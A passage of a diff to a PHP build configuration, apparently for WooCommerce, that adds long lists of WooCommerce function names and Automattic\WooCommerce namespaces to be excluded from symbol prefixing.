'wc_update_390_move_maxmind_database', + 'wc_update_400_db_version', + 'wc_update_400_increase_size_of_column', + 'wc_update_400_reset_action_scheduler_migration_status', + 'wc_update_440_db_version', + 'wc_update_440_insert_attribute_terms_for_variable_products', + 'wc_update_450_db_version', + 'wc_update_450_sanitize_coupons_code', + 'wc_update_500_db_version', + 'wc_update_500_fix_product_review_count', + 'wc_update_560_create_refund_returns_page', + 'wc_update_560_db_version', + 'wc_update_600_db_version', + 'wc_update_600_migrate_rate_limit_options', + 'wc_update_630_create_product_attributes_lookup_table', + 'wc_update_630_db_version', + 'wc_update_640_add_primary_key_to_product_attributes_lookup_table', + 'wc_update_640_db_version', + 'wc_update_650_approved_download_directories', + 'wc_update_651_approved_download_directories', + 'wc_update_670_delete_deprecated_remote_inbox_notifications_option', + 'wc_update_670_purge_comments_count_cache', + 'wc_update_700_remove_download_log_fk', + 'wc_update_700_remove_recommended_marketing_plugins_transient', + 'wc_update_721_adjust_new_zealand_states', + 'wc_update_721_adjust_ukraine_states', + 'wc_update_722_adjust_new_zealand_states', + 'wc_update_722_adjust_ukraine_states', + 'wc_update_750_add_columns_to_order_stats_table', + 'wc_update_750_disable_new_product_management_experience', + 'wc_update_770_remove_multichannel_marketing_feature_options', + 'wc_update_790_blockified_product_grid_block', + 'wc_update_810_migrate_transactional_metadata_for_hpos', + 'wc_update_830_rename_cart_template', + 'wc_update_830_rename_checkout_template', + 'wc_update_860_remove_recommended_marketing_plugins_transient', + 'wc_update_870_prevent_listing_of_transient_files_directory', + 'wc_update_890_update_connect_to_woocommerce_note', + 'wc_update_890_update_paypal_standard_load_eligibility', + 'wc_update_891_create_plugin_autoinstall_history_option', + 'wc_update_910_add_launch_your_store_tour_option', + 'wc_update_910_remove_obsolete_user_meta', + 'wc_update_920_add_wc_hooked_blocks_version_option', + 'wc_update_930_add_woocommerce_coming_soon_option', + 'wc_update_930_migrate_user_meta_for_launch_your_store_tour', + 'wc_update_940_add_phone_to_order_address_fts_index', + 'wc_update_940_remove_help_panel_highlight_shown', + 'wc_update_950_tracking_option_autoload', + 'wc_update_961_migrate_default_email_base_color', + 'wc_update_980_remove_order_attribution_install_banner_dismissed_option', + 'wc_update_985_enable_new_payments_settings_page_feature', + 'wc_update_990_remove_email_notes', + 'wc_update_990_remove_wc_count_comments_transient', + 'wc_update_attribute', + 'wc_update_coupon_usage_counts', + 'wc_update_new_customer_past_orders', + 'wc_update_order', + 'wc_update_order_item', + 'wc_update_order_item_meta', + 'wc_update_product_archive_title', + 'wc_update_product_lookup_tables', + 'wc_update_product_lookup_tables_column', + 'wc_update_product_lookup_tables_is_running', + 'wc_update_product_lookup_tables_rating_count', + 'wc_update_product_lookup_tables_rating_count_batch', + 'wc_update_product_stock', + 'wc_update_product_stock_status', + 'wc_update_profile_last_update_time', + 'wc_update_store_notice_visible_on_theme_switch', + 'wc_update_total_sales_counts', + 'wc_update_user_last_active', + 'wc_user_has_role', + 'wc_user_logged_in', + 'wc_variation_attribute_name', + 'wc_walk_category_dropdown_tree', + 'wc_webhook_execute_queue', + 'wc_webhook_process_delivery', + 'wc_wp_theme_get_element_class_name', + 'wc_wptexturize_order_note', + 'woocommerce_account_add_payment_method', + 'woocommerce_account_content', + 'woocommerce_account_downloads', + 'woocommerce_account_edit_account', + 'woocommerce_account_edit_address', + 'woocommerce_account_navigation', + 'woocommerce_account_orders', + 'woocommerce_account_payment_methods', + 'woocommerce_account_view_order', + 'woocommerce_add_order_item', + 'woocommerce_add_order_item_meta', + 'woocommerce_add_to_cart_message', + 'woocommerce_admin_fields', + 'woocommerce_admin_scripts', + 'woocommerce_array_overlay', + 'woocommerce_breadcrumb', + 'woocommerce_button_proceed_to_checkout', + 'woocommerce_calc_shipping_backwards_compatibility', + 'woocommerce_cancel_unpaid_orders', + 'woocommerce_cart_totals', + 'woocommerce_cart_totals_coupon_html', + 'woocommerce_cart_totals_fee_html', + 'woocommerce_cart_totals_order_total_html', + 'woocommerce_cart_totals_shipping_html', + 'woocommerce_cart_totals_shipping_method_label', + 'woocommerce_cart_totals_subtotal_html', + 'woocommerce_catalog_ordering', + 'woocommerce_change_term_counts', + 'woocommerce_checkout_coupon_form', + 'woocommerce_checkout_login_form', + 'woocommerce_checkout_payment', + 'woocommerce_clean', + 'woocommerce_clear_cart_after_payment', + 'woocommerce_comments', + 'woocommerce_compile_less_styles', + 'woocommerce_content', + 'woocommerce_create_new_customer', + 'woocommerce_create_page', + 'woocommerce_cross_sell_display', + 'woocommerce_customer_bought_product', + 'woocommerce_customer_edit_account_url', + 'woocommerce_customer_has_capability', + 'woocommerce_date_format', + 'woocommerce_datepicker_js', + 'woocommerce_default_product_tabs', + 'woocommerce_delete_order_item', + 'woocommerce_delete_order_item_meta', + 'woocommerce_demo_store', + 'woocommerce_disable_admin_bar', + 'woocommerce_downloadable_file_permission', + 'woocommerce_downloadable_product_permissions', + 'woocommerce_empty_cart', + 'woocommerce_external_add_to_cart', + 'woocommerce_form_field', + 'woocommerce_format_decimal', + 'woocommerce_format_hex', + 'woocommerce_format_total', + 'woocommerce_get_alt_from_product_title_and_position', + 'woocommerce_get_attachment_image_attributes', + 'woocommerce_get_dimension', + 'woocommerce_get_endpoint_url', + 'woocommerce_get_featured_product_ids', + 'woocommerce_get_filename_from_url', + 'woocommerce_get_formatted_product_name', + 'woocommerce_get_formatted_variation', + 'woocommerce_get_loop_display_mode', + 'woocommerce_get_order_id_by_order_key', + 'woocommerce_get_order_item_meta', + 'woocommerce_get_page_id', + 'woocommerce_get_product_ids_on_sale', + 'woocommerce_get_product_schema', + 'woocommerce_get_product_subcategories', + 'woocommerce_get_product_terms', + 'woocommerce_get_product_thumbnail', + 'woocommerce_get_sidebar', + 'woocommerce_get_template', + 'woocommerce_get_template_part', + 'woocommerce_get_weight', + 'woocommerce_grouped_add_to_cart', + 'woocommerce_hex_darker', + 'woocommerce_hex_lighter', + 'woocommerce_legacy_paypal_ipn', + 'woocommerce_legacy_reports_init', + 'woocommerce_let_to_num', + 'woocommerce_light_or_dark', + 'woocommerce_list_pages', + 'woocommerce_load_persistent_cart', + 'woocommerce_locate_template', + 'woocommerce_login_form', + 'woocommerce_lostpassword_url', + 'woocommerce_mail', + 'woocommerce_maybe_show_product_subcategories', + 'woocommerce_mini_cart', + 'woocommerce_nav_menu_item_classes', + 'woocommerce_nav_menu_items', + 'woocommerce_order_again_button', + 'woocommerce_order_details_table', + 'woocommerce_order_downloads_table', + 'woocommerce_order_review', + 'woocommerce_order_terms', + 'woocommerce_output_all_notices', + 'woocommerce_output_auth_footer', + 'woocommerce_output_auth_header', + 'woocommerce_output_content_wrapper', + 'woocommerce_output_content_wrapper_end', + 'woocommerce_output_product_categories', + 'woocommerce_output_product_data_tabs', + 'woocommerce_output_related_products', + 'woocommerce_page_title', + 'woocommerce_pagination', + 'woocommerce_paying_customer', + 'woocommerce_photoswipe', + 'woocommerce_placeholder_img', + 'woocommerce_placeholder_img_src', + 'woocommerce_prepare_attachment_for_js', + 'woocommerce_price', + 'woocommerce_processing_order_count', + 'woocommerce_product_additional_information_tab', + 'woocommerce_product_archive_description', + 'woocommerce_product_description_tab', + 'woocommerce_product_dropdown_categories', + 'woocommerce_product_loop', + 'woocommerce_product_loop_end', + 'woocommerce_product_loop_start', + 'woocommerce_product_post_type_link', + 'woocommerce_product_reviews_tab', + 'woocommerce_product_subcategories', + 'woocommerce_product_taxonomy_archive_header', + 'woocommerce_products_will_display', + 'woocommerce_protected_product_add_to_cart', + 'woocommerce_quantity_input', + 'woocommerce_readfile_chunked', + 'woocommerce_recount_after_stock_change', + 'woocommerce_register_additional_checkout_field', + 'woocommerce_register_shipping_method', + 'woocommerce_related_products', + 'woocommerce_reset_loop', + 'woocommerce_result_count', + 'woocommerce_review_display_comment_text', + 'woocommerce_review_display_gravatar', + 'woocommerce_review_display_meta', + 'woocommerce_review_display_rating', + 'woocommerce_rgb_from_hex', + 'woocommerce_round_tax_total', + 'woocommerce_sanitize_taxonomy_name', + 'woocommerce_scheduled_sales', + 'woocommerce_set_customer_auth_cookie', + 'woocommerce_set_term_order', + 'woocommerce_settings_get_option', + 'woocommerce_shipping_calculator', + 'woocommerce_show_messages', + 'woocommerce_show_product_images', + 'woocommerce_show_product_loop_sale_flash', + 'woocommerce_show_product_sale_flash', + 'woocommerce_show_product_thumbnails', + 'woocommerce_simple_add_to_cart', + 'woocommerce_single_variation', + 'woocommerce_single_variation_add_to_cart_button', + 'woocommerce_sort_product_tabs', + 'woocommerce_store_api_get_formatter', + 'woocommerce_store_api_register_endpoint_data', + 'woocommerce_store_api_register_payment_requirements', + 'woocommerce_store_api_register_update_callback', + 'woocommerce_subcategory_thumbnail', + 'woocommerce_taxonomy_archive_description', + 'woocommerce_taxonomy_metadata_wpdbfix', + 'woocommerce_template_loop_add_to_cart', + 'woocommerce_template_loop_category_link_close', + 'woocommerce_template_loop_category_link_open', + 'woocommerce_template_loop_category_title', + 'woocommerce_template_loop_price', + 'woocommerce_template_loop_product_link_close', + 'woocommerce_template_loop_product_link_open', + 'woocommerce_template_loop_product_thumbnail', + 'woocommerce_template_loop_product_title', + 'woocommerce_template_loop_rating', + 'woocommerce_template_single_add_to_cart', + 'woocommerce_template_single_excerpt', + 'woocommerce_template_single_meta', + 'woocommerce_template_single_price', + 'woocommerce_template_single_rating', + 'woocommerce_template_single_sharing', + 'woocommerce_template_single_title', + 'woocommerce_terms_clauses', + 'woocommerce_time_format', + 'woocommerce_timezone_string', + 'woocommerce_tooltip_js', + 'woocommerce_track_product_view', + 'woocommerce_trim_zeros', + 'woocommerce_update_new_customer_past_orders', + 'woocommerce_update_options', + 'woocommerce_update_order_item_meta', + 'woocommerce_upsell_display', + 'woocommerce_variable_add_to_cart', + 'woocommerce_walk_category_dropdown_tree', + 'woocommerce_weekend_area_js', + 'woocommerce_widget_shopping_cart_button_view_cart', + 'woocommerce_widget_shopping_cart_proceed_to_checkout', + 'woocommerce_widget_shopping_cart_subtotal', + 'woocommerce_wp_checkbox', + 'woocommerce_wp_hidden_input', + 'woocommerce_wp_note', + 'woocommerce_wp_radio', + 'woocommerce_wp_select', + 'woocommerce_wp_text_input', + 'woocommerce_wp_textarea_input', + ), + 'exclude-namespaces' => array( + 'Action_Scheduler\\Migration', + 'Action_Scheduler\\WP_CLI', + 'Action_Scheduler\\WP_CLI\\Action', + 'Automattic\\WooCommerce', + 'Automattic\\WooCommerce\\Abilities', + 'Automattic\\WooCommerce\\Admin', + 'Automattic\\WooCommerce\\Admin\\API', + 'Automattic\\WooCommerce\\Admin\\API\\AI', + 'Automattic\\WooCommerce\\Admin\\API\\RateLimits', + 'Automattic\\WooCommerce\\Admin\\API\\Reports', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Categories', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Coupons', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Coupons\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Customers', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Customers\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Downloads', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Downloads\\Files', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Downloads\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Export', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Import', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Orders', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Orders\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\PerformanceIndicators', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Products', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Products\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Revenue', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Revenue\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Stock', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Stock\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Taxes', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Taxes\\Stats', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Variations', + 'Automattic\\WooCommerce\\Admin\\API\\Reports\\Variations\\Stats', + 'Automattic\\WooCommerce\\Admin\\BlockTemplates', + 'Automattic\\WooCommerce\\Admin\\Composer', + 'Automattic\\WooCommerce\\Admin\\DateTimeProvider', + 'Automattic\\WooCommerce\\Admin\\Features', + 'Automattic\\WooCommerce\\Admin\\Features\\AsyncProductEditorCategoryField', + 'Automattic\\WooCommerce\\Admin\\Features\\Blueprint', + 'Automattic\\WooCommerce\\Admin\\Features\\Blueprint\\Exporters', + 'Automattic\\WooCommerce\\Admin\\Features\\Fulfillments', + 'Automattic\\WooCommerce\\Admin\\Features\\Fulfillments\\DataStore', + 'Automattic\\WooCommerce\\Admin\\Features\\Fulfillments\\Providers', + 'Automattic\\WooCommerce\\Admin\\Features\\MarketingRecommendations', + 'Automattic\\WooCommerce\\Admin\\Features\\Navigation', + 'Automattic\\WooCommerce\\Admin\\Features\\OnboardingTasks', + 'Automattic\\WooCommerce\\Admin\\Features\\OnboardingTasks\\Tasks', + 'Automattic\\WooCommerce\\Admin\\Features\\PaymentGatewaySuggestions', + 'Automattic\\WooCommerce\\Admin\\Features\\ProductBlockEditor', + 'Automattic\\WooCommerce\\Admin\\Features\\ProductBlockEditor\\ProductTemplates', + 'Automattic\\WooCommerce\\Admin\\Features\\ProductDataViews', + 'Automattic\\WooCommerce\\Admin\\Features\\ShippingPartnerSuggestions', + 'Automattic\\WooCommerce\\Admin\\Marketing', + 'Automattic\\WooCommerce\\Admin\\Notes', + 'Automattic\\WooCommerce\\Admin\\Overrides', + 'Automattic\\WooCommerce\\Admin\\PluginsInstallLoggers', + 'Automattic\\WooCommerce\\Admin\\PluginsProvider', + 'Automattic\\WooCommerce\\Admin\\RemoteInboxNotifications', + 'Automattic\\WooCommerce\\Admin\\RemoteSpecs', + 'Automattic\\WooCommerce\\Admin\\RemoteSpecs\\RuleProcessors', + 'Automattic\\WooCommerce\\Admin\\RemoteSpecs\\RuleProcessors\\Transformers', + 'Automattic\\WooCommerce\\Admin\\Schedulers', + 'Automattic\\WooCommerce\\Admin\\Settings', + 'Automattic\\WooCommerce\\Api', + 'Automattic\\WooCommerce\\Api\\Attributes', + 'Automattic\\WooCommerce\\Api\\Enums\\Coupons', + 'Automattic\\WooCommerce\\Api\\Enums\\Products', + 'Automattic\\WooCommerce\\Api\\Infrastructure', + 'Automattic\\WooCommerce\\Api\\Infrastructure\\Schema', + 'Automattic\\WooCommerce\\Api\\InputTypes', + 'Automattic\\WooCommerce\\Api\\InputTypes\\Coupons', + 'Automattic\\WooCommerce\\Api\\InputTypes\\Products', + 'Automattic\\WooCommerce\\Api\\Interfaces', + 'Automattic\\WooCommerce\\Api\\Mutations\\Coupons', + 'Automattic\\WooCommerce\\Api\\Mutations\\Products', + 'Automattic\\WooCommerce\\Api\\Pagination', + 'Automattic\\WooCommerce\\Api\\Queries\\Coupons', + 'Automattic\\WooCommerce\\Api\\Queries\\Products', + 'Automattic\\WooCommerce\\Api\\Scalars', + 'Automattic\\WooCommerce\\Api\\Traits', + 'Automattic\\WooCommerce\\Api\\Types\\Coupons', + 'Automattic\\WooCommerce\\Api\\Types\\Products', + 'Automattic\\WooCommerce\\Api\\Utils', + 'Automattic\\WooCommerce\\Api\\Utils\\Coupons', + 'Automattic\\WooCommerce\\Api\\Utils\\Products', + 'Automattic\\WooCommerce\\Blocks', + 'Automattic\\WooCommerce\\Blocks\\AI', + 'Automattic\\WooCommerce\\Blocks\\AIContent', + 'Automattic\\WooCommerce\\Blocks\\Assets', + 'Automattic\\WooCommerce\\Blocks\\BlockTypes', + 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\Accordion', + 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\AddToCartWithOptions', + 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\OrderConfirmation', + 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\ProductCollection', + 'Automattic\\WooCommerce\\Blocks\\BlockTypes\\Reviews', + 'Automattic\\WooCommerce\\Blocks\\Domain', + 'Automattic\\WooCommerce\\Blocks\\Domain\\Services', + 'Automattic\\WooCommerce\\Blocks\\Domain\\Services\\CheckoutFieldsSchema', + 'Automattic\\WooCommerce\\Blocks\\Domain\\Services\\Email', + 'Automattic\\WooCommerce\\Blocks\\Images', + 'Automattic\\WooCommerce\\Blocks\\Integrations', + 'Automattic\\WooCommerce\\Blocks\\Patterns', + 'Automattic\\WooCommerce\\Blocks\\Payments', + 'Automattic\\WooCommerce\\Blocks\\Payments\\Integrations', + 'Automattic\\WooCommerce\\Blocks\\Registry', + 'Automattic\\WooCommerce\\Blocks\\SharedStores', + 'Automattic\\WooCommerce\\Blocks\\Shipping', + 'Automattic\\WooCommerce\\Blocks\\Templates', + 'Automattic\\WooCommerce\\Blocks\\Utils', + 'Automattic\\WooCommerce\\Blueprint', + 'Automattic\\WooCommerce\\Blueprint\\Cli', + 'Automattic\\WooCommerce\\Blueprint\\Exporters', + 'Automattic\\WooCommerce\\Blueprint\\Importers', + 'Automattic\\WooCommerce\\Blueprint\\ResourceStorages', + 'Automattic\\WooCommerce\\Blueprint\\ResultFormatters', + 'Automattic\\WooCommerce\\Blueprint\\Schemas', + 'Automattic\\WooCommerce\\Blueprint\\Steps', + 'Automattic\\WooCommerce\\Caches', + 'Automattic\\WooCommerce\\Caching', + 'Automattic\\WooCommerce\\Checkout\\Helpers', + 'Automattic\\WooCommerce\\Database\\Migrations', + 'Automattic\\WooCommerce\\Database\\Migrations\\CustomOrderTable', + 'Automattic\\WooCommerce\\EmailEditor', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\Caching', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\Css', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\HtmlProcessor', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Pelago\\Emogrifier\\Utilities', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\CSSList', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Comment', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Parsing', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Position', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Property', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Rule', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\RuleSet', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Sabberworm\\CSS\\Value', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Exception', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Node', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser\\Handler', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser\\Shortcut', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\Parser\\Tokenizer', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\XPath', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Component\\CssSelector\\XPath\\Extension', + 'Automattic\\WooCommerce\\EmailEditorVendor\\Symfony\\Polyfill\\Php80', + 'Automattic\\WooCommerce\\EmailEditor\\Engine', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Logger', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Patterns', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\PersonalizationTags', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer\\Layout', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer\\Postprocessors', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Renderer\\ContentRenderer\\Preprocessors', + 'Automattic\\WooCommerce\\EmailEditor\\Engine\\Templates', + 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\Core', + 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\Core\\Renderer\\Blocks', + 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\Utils', + 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\WooCommerce', + 'Automattic\\WooCommerce\\EmailEditor\\Integrations\\WooCommerce\\Renderer\\Blocks', + 'Automattic\\WooCommerce\\EmailEditor\\Validator', + 'Automattic\\WooCommerce\\EmailEditor\\Validator\\Schema', + 'Automattic\\WooCommerce\\Enums', + 'Automattic\\WooCommerce\\Gateways\\PayPal', + 'Automattic\\WooCommerce\\Internal', + 'Automattic\\WooCommerce\\Internal\\Abilities', + 'Automattic\\WooCommerce\\Internal\\AbilitiesApi', + 'Automattic\\WooCommerce\\Internal\\Abilities\\Domain', + 'Automattic\\WooCommerce\\Internal\\Abilities\\Domain\\Traits', + 'Automattic\\WooCommerce\\Internal\\Abilities\\REST', + 'Automattic\\WooCommerce\\Internal\\AddressProvider', + 'Automattic\\WooCommerce\\Internal\\Admin', + 'Automattic\\WooCommerce\\Internal\\Admin\\Agentic', + 'Automattic\\WooCommerce\\Internal\\Admin\\BlockTemplates', + 'Automattic\\WooCommerce\\Internal\\Admin\\EmailImprovements', + 'Automattic\\WooCommerce\\Internal\\Admin\\EmailPreview', + 'Automattic\\WooCommerce\\Internal\\Admin\\Emails', + 'Automattic\\WooCommerce\\Internal\\Admin\\ImportExport', + 'Automattic\\WooCommerce\\Internal\\Admin\\Logging', + 'Automattic\\WooCommerce\\Internal\\Admin\\Logging\\FileV2', + 'Automattic\\WooCommerce\\Internal\\Admin\\Marketing', + 'Automattic\\WooCommerce\\Internal\\Admin\\Notes', + 'Automattic\\WooCommerce\\Internal\\Admin\\Onboarding', + 'Automattic\\WooCommerce\\Internal\\Admin\\Orders', + 'Automattic\\WooCommerce\\Internal\\Admin\\Orders\\MetaBoxes', + 'Automattic\\WooCommerce\\Internal\\Admin\\ProductForm', + 'Automattic\\WooCommerce\\Internal\\Admin\\ProductReviews', + 'Automattic\\WooCommerce\\Internal\\Admin\\RemoteFreeExtensions', + 'Automattic\\WooCommerce\\Internal\\Admin\\Schedulers', + 'Automattic\\WooCommerce\\Internal\\Admin\\Settings', + 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\Exceptions', + 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\PaymentsProviders', + 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\PaymentsProviders\\WooPayments', + 'Automattic\\WooCommerce\\Internal\\Admin\\Settings\\SettingsUIPages', + 'Automattic\\WooCommerce\\Internal\\Admin\\Suggestions', + 'Automattic\\WooCommerce\\Internal\\Admin\\Suggestions\\Incentives', + 'Automattic\\WooCommerce\\Internal\\Admin\\WCPayPromotion', + 'Automattic\\WooCommerce\\Internal\\Agentic\\Enums\\Specs', + 'Automattic\\WooCommerce\\Internal\\Api', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLMutations', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLQueries', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Enums', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Input', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Interfaces', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Output', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Pagination', + 'Automattic\\WooCommerce\\Internal\\Api\\Autogenerated\\GraphQLTypes\\Scalars', + 'Automattic\\WooCommerce\\Internal\\BatchProcessing', + 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator', + 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Commands', + 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Core', + 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Interfaces', + 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Lib', + 'Automattic\\WooCommerce\\Internal\\CLI\\Migrator\\Platforms\\Shopify', + 'Automattic\\WooCommerce\\Internal\\Caches', + 'Automattic\\WooCommerce\\Internal\\ComingSoon', + 'Automattic\\WooCommerce\\Internal\\CostOfGoodsSold', + 'Automattic\\WooCommerce\\Internal\\Customers', + 'Automattic\\WooCommerce\\Internal\\DataStores', + 'Automattic\\WooCommerce\\Internal\\DataStores\\Orders', + 'Automattic\\WooCommerce\\Internal\\DataStores\\StockNotifications', + 'Automattic\\WooCommerce\\Internal\\DependencyManagement', + 'Automattic\\WooCommerce\\Internal\\Email', + 'Automattic\\WooCommerce\\Internal\\EmailEditor', + 'Automattic\\WooCommerce\\Internal\\EmailEditor\\EmailPatterns', + 'Automattic\\WooCommerce\\Internal\\EmailEditor\\EmailTemplates', + 'Automattic\\WooCommerce\\Internal\\EmailEditor\\PersonalizationTags', + 'Automattic\\WooCommerce\\Internal\\EmailEditor\\WCTransactionalEmails', + 'Automattic\\WooCommerce\\Internal\\Features', + 'Automattic\\WooCommerce\\Internal\\Features\\OrderDetailRedesign', + 'Automattic\\WooCommerce\\Internal\\Features\\ProductBlockEditor\\ProductTemplates', + 'Automattic\\WooCommerce\\Internal\\Integrations', + 'Automattic\\WooCommerce\\Internal\\Jetpack', + 'Automattic\\WooCommerce\\Internal\\Logging', + 'Automattic\\WooCommerce\\Internal\\MCP', + 'Automattic\\WooCommerce\\Internal\\MCP\\Transport', + 'Automattic\\WooCommerce\\Internal\\OrderReviews', + 'Automattic\\WooCommerce\\Internal\\Orders', + 'Automattic\\WooCommerce\\Internal\\ProductAttributes', + 'Automattic\\WooCommerce\\Internal\\ProductAttributesLookup', + 'Automattic\\WooCommerce\\Internal\\ProductDownloads\\ApprovedDirectories', + 'Automattic\\WooCommerce\\Internal\\ProductDownloads\\ApprovedDirectories\\Admin', + 'Automattic\\WooCommerce\\Internal\\ProductFeed', + 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Feed', + 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Integrations', + 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Integrations\\POSCatalog', + 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Storage', + 'Automattic\\WooCommerce\\Internal\\ProductFeed\\Utils', + 'Automattic\\WooCommerce\\Internal\\ProductFilters', + 'Automattic\\WooCommerce\\Internal\\ProductFilters\\Interfaces', + 'Automattic\\WooCommerce\\Internal\\ProductImage', + 'Automattic\\WooCommerce\\Internal\\PushNotifications', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Controllers', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\DataStores', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Dispatchers', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Entities', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Exceptions', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Notifications', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Services', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Traits', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Triggers', + 'Automattic\\WooCommerce\\Internal\\PushNotifications\\Validators', + 'Automattic\\WooCommerce\\Internal\\ReceiptRendering', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Customers', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Fulfillments', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Fulfillments\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\OrderNotes', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\OrderNotes\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Orders', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Orders\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Products', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Refunds', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Refunds\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Account', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Account\\Schema', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Email', + 'Automattic\\WooCommerce\\Internal\\RestApi\\Routes\\V4\\Settings\\Email\\Schema', + 